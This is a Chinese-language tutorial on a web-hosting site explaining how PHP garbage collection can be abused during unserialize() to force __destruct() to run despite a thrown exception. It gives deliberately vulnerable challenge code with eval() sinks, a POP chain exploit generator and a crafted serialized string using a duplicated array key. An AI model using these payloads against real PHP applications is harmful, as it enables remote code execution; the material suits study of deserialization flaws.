您好,登錄后才能下訂單哦!
這篇文章主要介紹“PHP中GC回收機制如何利用”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“PHP中GC回收機制如何利用”文章能幫助大家解決問題。
先看看這個簡單的序列化,一定要先思考再看后面的答案
<?php highlight_file(__FILE__); class errorr{ public $rce; public function __destruct(){ eval($rce); } } $a = $_GET["a"]; unserialize($a); ?>
很簡單的一個反序列化,想辦法控制$rce這個變量就可以達到命令執行的目的。
構造exp
<?php class errorr{ public $rce = "phpinfo();"; } $a = new errorr(); echo urlencode(serialize($a)); ?>
如果你看完了我之前寫的序列化與反序列化基礎篇就只能說這個是非常簡單了。
這里是因為可以用到__destruct()方法
<?php highlight_file(__FILE__); class errorr{ public $rce; public function __destruct(){ eval($rce); } } $a = $_GET["a"]; unserialize($a); throw new Exception("???"); ?>
如果是這樣的話呢?不會的話也不用著急搞懂,我們后面慢慢說。
PHP Garbage Collection簡稱GC,又名垃圾回收,在PHP中使用引用計數和回收周期來自動管理內存對象的。
垃圾,顧名思義就是一些沒有用的東西。在這里指的是一些數據或者說是變量在進行某些操作后被置為空(NULL)或者是沒有地址(指針)的指向,這種數據一旦被當作垃圾回收后就相當于把一個程序的結尾給劃上了句號,那么就不會出現無法調用__destruct()方法了。想知道原理細節的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual
那接下來就演示用代碼演示GC的實際工作。
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } new errorr(1); $a = new errorr(2); $b = new errorr(3); ?>
可以猜一猜結果會是什么。
謝謝有被吃驚到(雖然我是已經知道結果的),new了一個errorr對象,屁股還沒坐熱就__destruct()了。后面的兩個對象則是按部就班先創建完沒有操作了以后才結束的。區別就在于對象1沒有任何引用也沒有指向,在創建的那一刻就被當作垃圾回收了,從而觸發了__destruct()方法。
如果沒有指向可以,那如過在指向一個對象的中途忽然指向另一個,也就是舍棄了該對象又會怎么樣。
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } $c = array(new errorr(1),0); $c[0] = $c[1]; $a = new errorr(2); $b = new errorr(3); ?>
意料之中。
如果注銷$c[0] = $c[1]呢?
可以看到,正常創建,最后銷毀的。
既然知道如何利用GC了,那就看一個例題。
<?php highlight_file(__FILE__); error_reporting(0); class errorr0{ public $num; public function __destruct(){ echo "hello __destruct"; echo $this->num; } } class errorr1{ public $err; public function __toString() { echo "hello __toString"; $this->err->flag(); } } class errorr2{ public $err; public function flag() { echo "hello __flag()"; eval($this->err); } } $a=unserialize($_GET['url']); throw new Exception("就這?"); ?>
自己胡思亂想出來的題目,太簡單也不要罵我哈哈哈。可能這個throw new Exception();有點突兀,這其實就是阻止__destruct()執行的拋錯,學過java或者python的小伙伴應該知道。
這也算一個pop鏈子吧,先分析目的函數,看來看去就是errorr2::flag(),往前推就是errorr1::__toString()會觸發這個函數,而errorr0::__destruct()會觸發toString,思路理清就把鏈子構造出來為:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。
exp為:
<?php error_reporting(0); class errorr0{ public $num; public function __construct() { $this->num = new errorr1(); } } class errorr1{ public $err; public function __construct() { $this->err = new errorr2(); } } class errorr2{ public $err = "phpinfo();"; } $a = new errorr0(); echo serialize($c); ?>
這個exp的構造有許多方法的,根據自己喜好來,不必和我一樣。
這就完了?或許有人迷惑了,如果完了那前面我說的都是在放屁,和pop沒區別,所以當然還沒完。如果沒有這句throw new Exception();就真的構造完了,但是有的話__destruct()是不會執行的,而__destruct()不執行這條鏈子根本就是堵死的,沒啥用。
重點來了,根據之前說的GC回收機制可以把一段數據當做垃圾回收,那不就可以執行__destruct(),然后就有一個問題-------如何觸發GC回收機制?!!還記得,之前舉過的例子嗎?如過沒有如何東西指向一個對象,那個對象就會被當作垃圾回收。所以,我們先看修改后的exp
<?php error_reporting(0); class errorr0{ public $num; public function __construct() { $this->num = new errorr1(); } } class errorr1{ public $err; public function __construct() { $this->err = new errorr2(); } } class errorr2{ public $err = "phpinfo();"; } $a = new errorr0(); $c = array(0=>$a,1=>NULL); echo serialize($c); ?>
可以看出來,就加了一行代碼,就是
$c = array(0=>$a,1=>NULL);
把目標對象賦給鍵為0,鍵為1賦值為NULL。為什么要這么做,因為這樣操作后,得到的字符串為:
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}
可以自己試試。解釋一下這串字符。
第一個a為數組,2為數組中鍵有兩個 i = 0以及 i = 1
重點重點重點,雖然有兩個鍵i = 0對應的是我們目標對象,i = 1是NULL,如果這個時候我們做一件壞事,把i 本應該等于 1修改為 i = 0。那不就是把i = 0指向NULL了嗎?然后就實現了GC回收。所以最后我們修改后的字符串為:
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}
關于“PHP中GC回收機制如何利用”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識,可以關注億速云行業資訊頻道,小編每天都會為大家更新不同的知識點。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。